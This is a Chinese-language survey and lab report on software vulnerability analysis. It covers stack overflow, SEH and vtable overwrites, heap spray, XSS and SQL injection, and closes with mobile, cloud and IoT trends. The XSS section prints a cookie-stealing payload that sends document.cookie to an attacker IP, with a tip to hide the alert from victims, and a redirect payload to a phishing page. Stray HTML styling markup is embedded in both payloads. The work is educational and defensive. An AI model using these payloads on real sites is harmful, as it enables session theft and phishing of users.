軟件漏洞分析簡述
1. 軟件漏洞分析簡述
1.1 漏洞的定義
漏洞,也叫脆弱性(英語:Vulnerability),是指計算機系統安全方面的缺陷,使得系統或其應用數據的保密性、完整性、可用性、訪問控制等面臨威脅。
1.1.1 漏洞在各時間階段的名稱
根據是否公開分為:未公開漏洞、已公開漏洞
根據漏洞是否發現分為:未知漏洞、已知漏洞
根據補丁和利用價值是否發布分為:0day漏洞、1day漏洞、歷史漏洞

1.2 漏洞的特點
- 持久性和時效性
持久性:隨著時間的遷移,舊的漏洞會不斷消失,新的漏洞會不斷出現
時效性:當超過一定的時間限制,漏洞的威脅就會逐漸減少直至消失
- 可利用性和隱藏性
可利用性:攻擊者能夠利用漏洞對系統帶來威脅和損失
隱蔽性:往往需要通過特殊的漏洞分析手段才能夠發現
- 廣泛性和具體性
廣泛性:會影響到很大范圍的軟硬件設備
具體性:存在于具體的環境或者條件中
1.3 漏洞的影響
- 可以引發惡性的Web攻擊事件,從而使得公民的權益受到傷害。例如:2011年12月21日,中國最大的程序員社區網站CSDN被爆出有超過600萬用戶的注冊資料,尤其是用戶口令遭泄露。
- 可以引發傳播廣泛的計算機病毒。隨著互聯網技術的發展,攻擊者可以借助某個軟件漏洞肆意傳播惡意的病毒和文件。如在尼姆達,藍寶石,沖擊波和震蕩波等事件中,攻擊者利用現有的漏洞傳播漏洞,給社會造成巨大損失。
- 可以引發后果嚴重的系統故障。如1962年,發射往金星的水手一號探測器在發射 293
- 秒后偏離了預定軌道。它的任務在 5
- 個星期后由成功發射的水手二號完成。這次失敗的原因是一個程序員將某個公式轉換成了計算機代碼轉錯了,漏了一個下標。這個下標原本是半徑
- R 的第 N
- 次平滑時間導數值。由于缺少數據光滑化處理功能,制導系統把正常速度當成錯誤處理,并造成了修正不精確,最終探測器偏離航向的。
- 利用軟件漏洞可以實現高級的可持續攻擊。攻擊者聯合多個0day漏洞對重要的信息系統發起長時間攻擊,如震網,火焰等病毒。
1.4 軟件漏洞必然存在的原因
- 1. 由于計算機基于馮諾依曼體系結構,所以決定了漏洞存在的必然性。
- 2. 作為互聯網基礎的TCP/IP協議棧在設計之初主要源于互聯互通和開放性。
- 3. 新技術的出現增加了互聯網的復雜性,增大了漏洞產生的概率。
- 4. 軟件開發的各個環節都是人為參與的,缺乏經驗或者疏忽等都可能引發漏洞。
2. 軟件漏洞分析技術概述
隨著社會經濟的發展,互聯網也隨之迅速的發展,軟件已經充斥在我們生活的方方面面,為我們提供便利的同時也帶來了安全隱患,因此軟件漏洞分析技術的重要性不言而喻。軟件漏洞分析技術主要分為:軟件架構安全分析技術、源代碼漏洞分析技術、二進制漏洞分析技術和運行系統漏洞分析技術四大類。圖2.1說明各技術之間的關系。

2.1 軟件架構安全分析
軟件架構是軟件的“骨架”,是軟件開發生命周期中代碼編寫的基礎。在此階段進行軟件漏洞的分析具有指導性的意義,能夠及時發現有問題的部分并進行修正,可以減少后期的維護和產生的危害。圖2.2是軟件架構安全分析的基本原理。

目前,關于軟件架構安全分析技術在國內外還處于探索和發展階段,已形成的技術主要分為:形式化分析和工程化分析,具體如2.3。

2.2 源代碼漏洞分析
源代碼漏洞分析主要是對高級語言編寫的程序進行分析以發現漏洞。源代碼作為軟件的最初原型,其中的安全缺陷可能直接導致軟件漏洞分產生,因此源代碼漏洞分析顯得尤為重要。目前源代碼漏洞分析主要采用靜態分析的方法,由于該方法不受程序的輸入和運行環境等因素的影響,所以可能發現動態分析難以發現的軟件漏洞。源代碼漏洞分析一般包含源代碼的模型提取,對歷史漏洞、程序代碼進行特征提取,靜態的漏洞分析和結果分析等四個步驟,通過這四個步驟完成對源代碼的漏洞分析,結構圖如圖2.4所示。

2.3 二進制漏洞分析技術
盡管源代碼漏洞分析技術具有分析范圍廣,能夠發現一些發現動態分析難以發現的軟件漏洞等特點,但是實際應用中很多應用軟件都是以二進制代碼的形式(如庫文件)的形式存在的,所以對二進制漏洞分析技術的研究具有很強的實際意義。
其分析對象是源代碼編譯后生成的二進制代碼,其中的主要技術環節包括:反匯編逆向分析、中間表示、漏洞建模、匯編代碼結構化、污點分析/動態數據流分析、符號執行/控制流執行等,其一般原理如圖2.5所示。

二進制漏洞分析技術種類繁多,從程序是否運行的角度可以分為:靜態分析技術和動態分析技術;從操作的自動化角度可以分為手動分析和自動/半自動分析。本次匯報的介紹主要針對程序是否運行的角度進行實驗,從此角度出發我們將二進制漏洞分析技術分為:靜態分析、動態分析和動靜態結合分析,實驗中以動態分析為主,靜態分析為輔進行漏洞的分析。
2.4 運行系統漏洞分析
系統是多種軟件或者模塊的有機整體,因此運行系統漏洞分析技術相對于單個軟件的漏洞分析變現出:更加復雜,分析難度更大等特點。目前,漏洞分析人員通過信息搜集、漏洞檢測和漏洞確認三個步驟對運行的系統進行漏洞分析,其過程如圖2.6所示。

2.5 技術總結
軟件漏洞分析技術多種多樣,需要針對軟件的來源,漏洞的類型,分析人員的擅長等因素進行選擇。在匯報的實驗中,由于都是針對某個漏洞類型進行驗證,沒有涉及到軟件架構和系統等概念,故實驗中主要利用二進制漏洞分析技術中的靜態分析、動態分析和動靜結合的分析技術。針對動態分析技術,所使用的軟件有:OllyDbg和Windbg,選擇Windbg有個特點,即其對于Windows自帶原生的軟件更加適用;針對靜態分析技術,所使用的軟件為IDA
Pro。各個軟件的特點和圖標如表2所示,對用的圖標如3.7所示。

3 主要的漏洞攻擊技術
正所謂:知己知彼百戰百勝,只有具備犯罪能力的人才能洞察他人的犯罪行為。做為一個白帽子的安全人員,需要對黑帽子(攻擊者)所使用的攻擊技術進行學習,才能以攻擊者的角度對軟件或者系統等進行漏洞的挖掘、分析和修復。本部分主要介紹現實中一些主要的漏洞攻擊技術,包括:棧溢出、堆溢出、S.E.H的利用、攻擊C++的虛函數、Heap Spray、XSS(Cross Site Script)、sql注入等。
3.1 棧溢出
3.1.1 棧簡介
棧,即堆棧,是一種具有一定規則的數據結構,它按照先進后出的原則存儲數據,先進入的數據被壓入棧底,最后的數據在棧頂。稱之為“棧”是因為發生函數調用時,調用函數(caller)的狀態被保存在棧內,被調用函數(callee)的狀態被壓入調用棧的棧頂;在函數調用結束時,棧頂的函數(callee)狀態被彈出,棧頂恢復到調用函數(caller)的狀態。函數調用棧在內存中從高地址向低地址生長,所以棧頂對應的內存地址在壓棧時變小,退棧時變大。
堆棧數據結構的兩種基本操作:
- PUSH:將數據壓入棧頂
- POP :將棧頂數據彈出
3.1.2 棧溢出利用
本次實驗采用函數調用的形式,此時會為被調用的函數開辟一個臨時的棧空間,然后在被調用函數中創建一個buffer緩沖區用于棧溢出(即當覆蓋緩沖區大小超過buffer的大小時則會破壞外面的存儲空間),其原理如圖3.1所示。

實驗代碼(如圖3.2所示)主要實現密碼的字符串匹配,代碼本身邏輯沒有錯,但缺少了對字符串長度的判斷,故當密碼長度過長的時候保存在buffer緩沖區中會溢出,導致可能出現代碼本身之外的執行流程。實驗時我們使用特點的密碼字符串(包含可執行代碼、填充和有效的返回地址),在程序執行過程中將該字符串復制到buffer中,通過進行設計使得返回地址置為buffer的起始地址,因此
verify_password函數返回時會跳轉到buffer的起始地址去執行,即改變了程序原本的執行流程,使得我們設計的機器代碼(實驗選擇一個簡單的彈出消息框代碼)能夠得到執行,執行效果如圖3.3所示。

圖3.2 棧溢出利用代碼

圖3.3 棧溢出漏洞利用效果
3.2 S.E.H的利用
3.2.1 S.E.H簡介
S.E.H即異常處理結構體(Structure Exception Handler),它是Windows異常處理機制所采用的重要數據結構。每個S.E.H都包含兩個DOWRD(雙字,即4個字節):S.E.H鏈表指針和異常處理函數句柄,共8字節,如圖3.4所示。
S.E.H結構通常存放于系統棧中,一般包含多個,最終形成鏈表的結構,如圖3.5所示。

圖3.4 S.E.H結構

圖3.5 多個S.E.H構成鏈表的結構
3.2.2 S.E.H的利用
實驗代碼(如圖3.6所示)使用之前介紹的棧溢出的方式進行S.E.H的利用,但有所區別,在于這里覆蓋的不是返回地址而是異常處理結構體指針。代碼首先聲明了一個異常處理方法MyExceptionhandler,代碼從主函數(main)調用test函數,在test函數中引發了一個除0異常并且為異常設置了異常處理的方法MyExceptionhandler,在程序正常執行過程中將會打印got an exception,press Enter to kill process!但是我們還是使用超長字符串復制到test函數的buf中,通過設置我們的字符串長度,精準覆蓋我們的S.E.H指針,覆蓋位置如圖3.7所示,實驗中將其覆蓋為buf起始地址0x0012fe98,于是當發生異常的時候程序將會跳轉到buf起始地址去執行,執行代碼同棧溢出實驗,即彈出消息框,效果同上。

圖3.6 S.E.H利用代碼

圖3.7 覆蓋位置示意圖
3.3 攻擊C++虛函數
3.3.1 虛函數簡介
C++類的成員函數在聲明時,若使用virtual進行修飾則被稱為虛函數,一個類中可能有多個虛函數,但虛函數的入口都被保存在虛表指針中,其虛表指針存放在對象的內存空間中,且緊接著是其他成員變量,其結構如圖3.8所示。

3.3.2 攻擊C++虛函數
實驗代碼(如圖3.9所示)同樣使用棧溢出的方式進行利用,這里的區別在于覆蓋的是虛表指針。通過虛函數的結構知道虛表指針位于其他成員變量前4字節處,故我們通過buf的指針地址-4即為虛表指針(p_vtable)地址,首先將虛表指針覆蓋為我們即將復制字符串的后4個字節的起始地址0x004088CC,然后將該4個字節覆蓋為buf的起始地址0x0040881C,該過程實現了:當程序調用虛函數時會去查找我們覆蓋的虛變指針(此時指向復制字符串的后4字節處0x004088CC),然后去該4字節處查找虛函數(此時指向buf起始地址0x0040881C),因此我們設計的機器代碼得到了執行,其覆蓋效果示意圖如圖3.10所示,其執行效果同上。

圖3.9 虛函數利用代碼

圖3.10 覆蓋效果示意圖
3.4 Heap Spray簡介
針對瀏覽器的攻擊中,常常結合使用堆和棧協同利用漏洞。在頁面中,我們通過JavaScript可以申請堆內存,這使得我們可以把需要執行的代碼布置到JavaScript申請到的堆塊中。
在使用HeapSpray的時候,一般將EIP(指令寄存器)指向0x0A0A0A0A(160M),0x0C0C0C0C(192M),0x0D0D0D0D(208M)等幾個地址(其由先人實驗得出),然后通過JavaScript申請大量內存,內存中包括我們需要執行的代碼。該技術的利用示意圖如圖3.11所示。由于此攻擊技術主要配合瀏覽器漏洞實現,故此處沒有進行進一步的實驗。

圖3.11 Heap Spray利用示意圖
3.5 XSS攻擊
3.5.1 XSS簡介
XSS(Cross Site Script),全稱跨站腳本攻擊。XSS 攻擊,通常指黑客通過 HTML
注入篡改網頁,插入惡意腳本,從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種攻擊行為。于是,我們就可以從存在XSS漏洞的網站中,盜取用戶Cookie、黑掉頁面、導航到惡意網站等操作。
XSS漏洞出現原因在于網站服務器端沒有對用戶的輸入進行有效的過濾,使得其直接展示在頁面上,其主要發生在留言板、個人信息頁面等。
3.5.2 利用XSS獲取用戶的Cookie
由于該漏洞發生在Web應用程序中,故實驗之前需要搭建一個網站用于測試。根據網上現成的靶場DVWA(即開發完成的存在漏洞的Web應用程序)進行下載搭建,減少了自己開發Web應用程序的過程,而可以將注意力集中在漏洞的學習利用上。
實驗時我們測試典型的存儲型XSS(即該輸入的腳本會存到數據庫中,當下一次訪問時將會從數據庫讀取并再次顯示在頁面上)。使用的攻擊腳本為:alert(document.cookie);new Image().<span style="color: rgb(77, 77, 77);font-family: -apple-system, "SF UI Text", Arial, "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", "WenQuanYi Micro Hei", sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">src=“http://192.168.25.1/log?”+escape(document.cookie);,其中包括兩部分腳本,首先是alert腳本,該腳本將訪問該頁面的用戶的Cookie彈出;再者是new Image().src腳本,該腳本在訪問時會向src指定的地址發送http請求,此時我們(在此作為攻擊者,ip地址為192.168.25.1)搭建一個用于記錄用戶訪問存在XSS漏洞的網頁時發送的用戶Cookie,通過兩部分的Cookie進行對比,驗證實驗是否成功。實驗中我們將攻擊腳本存放在個人信息的輸入中,界面如圖3.12所示,點擊Sign Guestbook則會把輸入的數據顯示在下方,當訪問該頁面時則會觸發我們輸入的兩部分腳本,各部分觸發效果圖如圖3.13-3.14所示。

圖 3.12 用于測試XSS的界面

圖3.13 alert腳本觸發效果圖

圖3.14接收用戶發送的Cookie
對比彈出消息框于接收的Cookie可能發現類似,但不太一樣,出現該原因是web應用程序會將請求中的一些字符進行URL編碼,將其進行解碼得到相同的數據,成功竊取用戶的Cookie。在實際攻擊中,應該刪除alert腳本,那么用戶在訪問漏洞頁面時并不會察覺到自己的Cookie已經泄露,使得用戶不會察覺出異常而對賬號密碼進行修改等操作。
3.5.3 利用XSS重定向攻擊者搭建的釣魚網站
在本次實驗中我們使用的攻擊腳本為:window.location=“<span style="color: rgb(77, 77, 77);font-family: -apple-system, "SF UI Text", Arial, "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", "WenQuanYi Micro Hei", sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">http://192.168.25.1/dvwa/vulnerabilities/xss_s/”,其中window.location用于重定向操作,192.168.25.1為攻擊者設計的跟用戶訪問網站相似的釣魚網站ip。本次實驗和利用XSS獲取用戶的Cookie實驗類型,都將腳本存在用戶信息中,當再次訪問該頁面則觸發腳本,重定向到攻擊者設計的釣魚網站,效果如圖3.15所示,即讓用戶輸入賬號密碼,當用戶上當輸入賬號密碼之后,攻擊者則成功獲取了用戶的信息。

圖3.15釣魚網站登錄頁面
3.6 SQL注入
3.6.1 SQL注入簡介
SQL注入的基本原理在于利用程序對用戶輸入數據的檢查不足或程序自身對變量的處理不足,把額外的SQL語句附加到中間層往后臺數據庫提交的語句中,輕則可以獲取敏感信息,重則可以控制服務器。在SQL注入攻擊中,入侵者通常將未經授權的數據庫語句插入或注入有漏洞的SQL數據信道中,通常情況下攻擊所針對的數據信道通常包括存儲過程和web應用程序的輸入參數,然后這些語句被傳遞到數據庫中執行,這樣攻擊者就可以不受限制的訪問整個數據庫。
其同XSS一樣發生在Web應用程序中,該拓撲結構如圖3.16所示,攻擊者在表示層(即網頁)利用漏洞進行SQL注入,從而獲取超過本身能獲取的信息或者控制權等。

圖3.16 Web應用程序拓撲圖
3.6.2 SQL注入利用
本次實驗分析的測試用例和方法主要針對MySQL,不同數據庫測試方法有一些差異,但大同小異。這里假設demo為查詢所要提交的值,首先通過

的方式試探腳本中共有幾個變量接收數據。當返回頁面沒有出現錯誤時,證明變量的數量正好,觀察頁面中顯示出來的數字,可以確定出能夠用于顯示結果的變量位置。
在試探出接收數據的變量個數后,我們可以使用一些攻擊用例進行攻擊,在表3中列出以一些主要的SQL注入攻擊測試用例和說明。

使用or 1=1進行全查,其效果圖如圖3.17所示。

圖3.17 使用or進行SQL注入利用效果圖
4 軟件漏洞的發展趨勢
近幾年,隨著信息化的快速發展,對于軟件漏洞分析技術和漏洞利用技術已經趨向于成熟化,很多黑客也利用這些技術進行攻擊,正因為如此,極大地推進了軟件漏洞領域的發展,如微軟在Windows增加的GS、SafeSEH、DEP、ASLR、SEHOP等安全機制,使得原有的軟件漏洞利用技術更加困難,從而大大提高了Windows的安全性。
下面,我們將分析軟件漏洞面臨的主要挑戰。
4.1 移動終端漏洞
現在移動設備隨處可見,以智能手機為主的移動終端也逐漸被黑客所關注。隨著移動設備的普及,針對移動設備的漏洞和病毒迅速增加,最受影響的移動設備主要為Android和IOS。除了移動設備本身的操作系統外,安裝在系統上的其他應用程序也可能引發漏洞。
這里根據CVE漏洞庫(Common Vulnerabilities and Exposures),繪制出Android系統漏洞和IOS系統漏洞的2009-2015年每年漏洞數量統計圖,如圖4.1-4.2所示。

圖4.1 CVE漏洞庫Android統計圖

圖4.2 CVE漏洞庫IOS統計圖
對于Android操作系統,由于其系統的開放性,除了系統本身存在的一些漏洞之外,其允許第三方應用程序隨意安裝在該系統上,這使得黑客可以對第三方應用程序進行漏洞挖掘并對漏洞進行利用,從而大大增大了Android移動設備的風險。
對于IOS操作系統,由于其系統的封閉性和自身的安全性,使得漏洞攻擊門檻比Android高很多,所以針對IOS平臺的漏洞,在黑市中的價格非常高。如IOS越獄,在越獄中使用的漏洞是非常有價值的,一個越獄漏洞可能賣到50多萬美元。
綜上,移動終端除了要提高操作系統本身的安全性之外,還需要對第三方軟件、插件等進行嚴格的檢查測試才能放上應用商城,若系統或者應用程序出現漏洞,應該強制用戶進行升級,減少用戶被攻擊的風險。
4.2 云計算平臺漏洞
近些年來,云計算平臺可以讓用戶將自己的程序在云上進行運行,同時享受云所提供的服務和資源,節約了用戶的軟硬件成本,這使得云計算平臺越來越流行。國內的云平臺主要有阿里云、騰訊云、新浪SAE、百度云、盛大云等,國外的有Google、GAE、亞馬遜AWS、微軟Azure等。
從云計算平臺構建結構來分,可以分為如圖4.3所示的結構。

圖4.3 云計算平臺結構圖
- SaaS(軟件即服務):為消費者提供應用軟件。
- PaaS(平臺即服務):為消費者提供系統平臺,比如Windows、Linux等操作系統,以及相應的管理支撐軟件、開發工具、安全系統等。
- IaaS(基礎設施即服務):為消費者提供服務器、存儲設備、網絡通信設備,以及其他IT基礎設施資源。
從整體的角度進行分析,如果黑客要攻擊云平臺,那么其最終的目的一般都是為了拿到底層數據中心里的存儲數據,因此云安全的本質其實就是數據安全。
4.3 物聯網漏洞
物聯網(Internet of things,簡稱IoT),即將物體接入互聯網,使得人和物可以進行交互,從而使得人能夠對物進行智能化的管理,比如智能門鎖,智能攝像頭、智能插座等等,如圖4.4所示。

由于智能設備剛剛起步不久,業界對智能設備安全的經驗不足,加上業界缺乏統一技術標準,導致一些隱患的存在。下面則是一些例子:
- 對智能門鎖進行破解后,就可能被入室盜竊,直接危害個人財產安全;
- 若pos機子存在被劫持盜刷的漏洞,攻擊者可以無需密碼和銀行卡的情況下直接盜取銀行卡上的錢;
- 對智能攝像頭的漏洞進行利用,可以篡改監控視頻、對視頻內容進行獲取等,如圖4.5所示。

如有侵權,請聯系刪除